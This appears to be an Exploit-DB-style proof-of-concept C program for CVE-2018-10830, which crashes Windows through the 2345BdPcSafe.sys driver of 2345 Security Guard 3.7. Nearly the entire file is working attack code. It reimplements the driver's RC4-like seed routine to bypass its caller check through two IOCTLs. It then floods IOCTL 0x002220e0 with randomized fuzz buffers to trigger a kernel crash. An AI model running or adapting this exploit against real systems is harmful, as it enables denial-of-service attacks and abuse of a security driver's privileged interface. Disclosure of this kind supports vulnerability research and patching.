# Exploit Title: [BSOD by IOCTL 0x002220e0 in 2345BdPcSafe.sys of 2345 Security Guard 3.7]
# Date: [20180509]
# Exploit Author: [anhkgg]
# Vendor Homepage: [http://safe.2345.cc/]
# Software Link: [http://dl.2345.cc/2345pcsafe/2345pcsafe_v3.7.0.9345.exe]
# Version: [v3.7] (REQUIRED)
# Tested on: [Windows X64]
# CVE : [CVE-2018- 10830]
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
struct NETFW_IOCTL_ADD_PID
{
DWORD pid;
char seed[0x14];//4 + 14
};//0x18
#pragma pack(push)
#pragma pack(1)
struct NETFW_IOCTL_SET_PID
{
BYTE set_state;//
WORD buf_len;//1
DWORD pid;//3
char buf[0x64];//7
};//6B
#pragma pack(pop)
int __stdcall f_XOR__12A30(BYTE *a1, BYTE *a2)
{
BYTE *a1_; // eax
a1_ = a1;
*a1_ ^= *a2;
*a2 ^= *a1;
*a1_ ^= *a2;
return (int)a1_;
}
int __stdcall sub_12A80(char *a1, int len, char *a3)
{
int result;
unsigned __int8 v4;
__int16 i;
__int16 j;
unsigned __int8 k;
for (i = 0; i < 256; ++i)
a3[i] = i;
a3[256] = 0;
a3[257] = 0;
k = 0;
v4 = 0;
result = 0;
for (j = 0; j < 256; ++j)
{
v4 += a3[j] + a1[k];
f_XOR__12A30((BYTE*)&a3[j], (BYTE*)&a3[v4]);
result = (k + 1) / len;
k = (k + 1) % len;
}
return result;
}
char *__stdcall sub_12B60(char *a1, signed int len, char *a3)
{
char *v3; // esi
unsigned int v4; // ebx
unsigned __int8 result; // al
int v6; // edi
char *v7; // ST18_4
int v8; // [esp+14h] [ebp-8h]
int v9; // [esp+18h] [ebp-4h]
unsigned __int8 v10; // [esp+2Fh] [ebp+13h]
v3 = a3;
v4 = a3[256];
result = a3[257];
v9 = 0;
if (len > 0)
{
v6 = (unsigned __int8)v4;
v8 = 0;
while (1)
{
v4 = (v6 + 1) & 0x800000FF;
v6 = (unsigned __int8)v4;
v10 = v3[(unsigned __int8)v4] + result;
v7 = &v3[v10];
f_XOR__12A30((BYTE*)&v3[(unsigned __int8)v4], (BYTE*)v7);
a1[v8] ^= v3[(unsigned __int8)(v3[(unsigned __int8)v4] + *v7)];
v8 = (signed __int16)++v9;
if ((signed __int16)v9 >= len)
break;
result = v10;
}
result = v10;
}
v3[256] = v4;
v3[257] = result;
return (char *)result;
}
void calc_seed(char* seed, char* dst)
{
char Source1[26] = { 0 };
char a3[300] = { 0 };
Source1[0] = 8;
Source1[1] = 14;
Source1[2] = 8;
Source1[3] = 10;
Source1[4] = 2;
Source1[5] = 3;
Source1[6] = 29;
Source1[7] = 23;
Source1[8] = 13;
Source1[9] = 3;
Source1[10] = 15;
Source1[11] = 22;
Source1[12] = 15;
Source1[13] = 7;
Source1[14] = 91;
Source1[15] = 4;
Source1[16] = 18;
Source1[17] = 26;
Source1[18] = 26;
Source1[19] = 3;
Source1[20] = 4;
Source1[21] = 1;
Source1[22] = 15;
Source1[23] = 25;
Source1[24] = 10;
Source1[25] = 13;
sub_12A80(seed, 0x14, a3);
sub_12B60(Source1, 0x1A, a3);
memcpy(dst, Source1, 26);
}
BOOL BypassChk(HANDLE h)
{
DWORD BytesReturned = 0;
DWORD ctlcode = 0x222090;
NETFW_IOCTL_ADD_PID add_pid = { 0 };
add_pid.pid = GetCurrentProcessId();
if (!DeviceIoControl(h, ctlcode, &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &BytesReturned, NULL)) {
printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
return FALSE;
}
ctlcode = 0x222094;
NETFW_IOCTL_SET_PID set_pid = { 0 };
set_pid.pid = GetCurrentProcessId();
set_pid.set_state = 1;
calc_seed(add_pid.seed, set_pid.buf);
set_pid.buf_len = 26;
if (!DeviceIoControl(h, ctlcode, &set_pid, sizeof(NETFW_IOCTL_SET_PID), &set_pid, sizeof(NETFW_IOCTL_SET_PID), &BytesReturned, NULL)) {
printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
return FALSE;
}
return TRUE;
}
HANDLE OpenDevice(char* path)
{
return CreateFileA(path,
GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
}
CHAR asciiString10[0x10];
CHAR asciiString100[0x100];
CHAR asciiString1000[0x1000];
WCHAR unicodeString10[0x10];
WCHAR unicodeString100[0x100];
WCHAR unicodeString1000[0x1000];
DWORD tableDwords[0x100];
DWORD FuzzConstants[] = {
0x00000000, 0x00000001, 0x00000004, 0xFFFFFFFF,
0x00001000, 0xFFFF0000, 0xFFFFFFFE, 0xFFFFFFF0,
0xFFFFFFFC, 0x70000000, 0x7FFEFFFF, 0x7FFFFFFF,
0x80000000,
(DWORD)asciiString10,
(DWORD)asciiString100,
(DWORD)asciiString1000,
(DWORD)unicodeString10,
(DWORD)unicodeString100,
(DWORD)unicodeString1000,
(DWORD)tableDwords
};
/* Period parameters */
#define N 624
#define M 397
#define MATRIX_A 0x9908b0dfUL /* constant vector a */
#define UPPER_MASK 0x80000000UL /* most significant w-r bits */
#define LOWER_MASK 0x7fffffffUL /* least significant r bits */
static unsigned long mt[N]; /* the array for the state vector */
static int mti = N + 1; /* mti==N+1 means mt[N] is not initialized */
/* initializes mt[N] with a seed */
void init_genrand(unsigned long s)
{
mt[0] = s & 0xffffffffUL;
for (mti = 1; mti < N; mti++) {
mt[mti] =
(1812433253UL * (mt[mti - 1] ^ (mt[mti - 1] >> 30)) + mti);
/* See Knuth TAOCP Vol2. 3rd Ed. P.106 for multiplier. */
/* In the previous versions, MSBs of the seed affect */
/* only MSBs of the array mt[]. */
/* 2002/01/09 modified by Makoto Matsumoto */
mt[mti] &= 0xffffffffUL;
/* for >32 bit machines */
}
}
/* generates a random number on [0,0xffffffff]-interval */
unsigned long genrand_int32(void)
{
unsigned long y;
static unsigned long mag01[2] = { 0x0UL, MATRIX_A };
/* mag01[x] = x * MATRIX_A for x=0,1 */
if (mti >= N) { /* generate N words at one time */
int kk;
if (mti == N + 1) /* if init_genrand() has not been called, */
init_genrand(5489UL); /* a default initial seed is used */
for (kk = 0; kk < N - M; kk++) {
y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK);
mt[kk] = mt[kk + M] ^ (y >> 1) ^ mag01[y & 0x1UL];
}
for (; kk < N - 1; kk++) {
y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK);
mt[kk] = mt[kk + (M - N)] ^ (y >> 1) ^ mag01[y & 0x1UL];
}
y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK);
mt[N - 1] = mt[M - 1] ^ (y >> 1) ^ mag01[y & 0x1UL];
mti = 0;
}
y = mt[mti++];
/* Tempering */
y ^= (y >> 11);
y ^= (y << 7) & 0x9d2c5680UL;
y ^= (y << 15) & 0xefc60000UL;
y ^= (y >> 18);
return y;
}
unsigned long getrand(unsigned long min, unsigned long max)
{
return (genrand_int32() % (max - min + 1)) + min;
}
//3.7.0.2860
int poc_2345NetFirewall()
{
DWORD BytesReturned = 0;
HANDLE h = OpenDevice("\\\\.\\2345BdPcSafe");
if (h == INVALID_HANDLE_VALUE) {
printf("[-] Open device error: %d\n", GetLastError());
return 1;
}
if (!BypassChk(h)) {
printf("[-] error!");
return 1;
}
DWORD ctlcode = 0x002220e0;
BYTE bufInput[0x10000] = { 0 };
BYTE bufOutput[0x10000] = { 0 };
srand(time(NULL));
int count = 0;
while (count++ < 1000) {
// Choose a random length for the buffer
size_t randomLength = getrand(4, 0x400);
for (int i = 0; i < randomLength; i = i + 4) {
int fuzzData = FuzzConstants[getrand(0, (sizeof(FuzzConstants) / 4) - 1)];
// Choose a random element into FuzzConstants
bufInput[i] = fuzzData & 0x000000ff;
bufInput[i + 1] = (fuzzData & 0x0000ff00) >> 8;
bufInput[i + 2] = (fuzzData & 0x00ff0000) >> 16;
bufInput[i + 3] = (fuzzData & 0xff000000) >> 24;
}
DeviceIoControl(h,
ctlcode,
bufInput,
randomLength,
bufOutput,
0,
&BytesReturned,
NULL);
Sleep(10);
}
return 0;
}
int main()
{
poc_2345NetFirewall();
printf("poc failed!\n");
getchar();
return 0;
}